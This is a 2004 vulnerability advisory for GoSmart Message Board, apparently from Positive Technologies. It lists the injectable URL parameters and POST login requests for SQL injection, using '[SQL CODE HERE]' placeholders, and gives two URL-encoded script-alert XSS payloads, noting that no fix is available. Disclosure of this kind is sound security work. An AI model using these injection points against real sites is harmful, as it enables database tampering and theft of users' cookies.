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[MAxpatrol Security Advisory] Multiple vulnerabilities in GoSmart Message Board



This vulnerability was discovered by Positive Technologies using
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Date: 11.10.04

Severity: Low

 

Application: GoSmart Message Board, http://www.gosmart4u.com/forum.aspx

 

Platform: ASP

 

I. DESCRIPTION

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Multiple vulnerabilities were found in GoSmart Message Board. A remote
user can conduct SQL injection attack and Cross site scripting attack. 



1. SQL injection (minimal risk, because using Access database)

 
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1 
Host: www.gosmart4u.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 29 

Username=[SQL CODE HERE]&Password=1&Login=1 


POST /messageboard/Login_Exec.asp HTTP/1.1 
Host: www.gosmart4u.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 29 

Username=1&Password=[SQL CODE HERE]&Login=1

 
2. XSS:

/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22


 

II. IMPACT

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A remote user can access the target user's cookies (including
authentication cookies).   

A remote user can cause SQL commands to be executed by the underlying
database.

 


III. SOLUTION

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Not available currently.

 

IV. VENDOR FIX/RESPONSE

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n/a
 

V. CREDIT

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Positive Technologies (www.ptsecurity.com) is information security
company especially focused on development of MaxPatrol - professional
security scanner.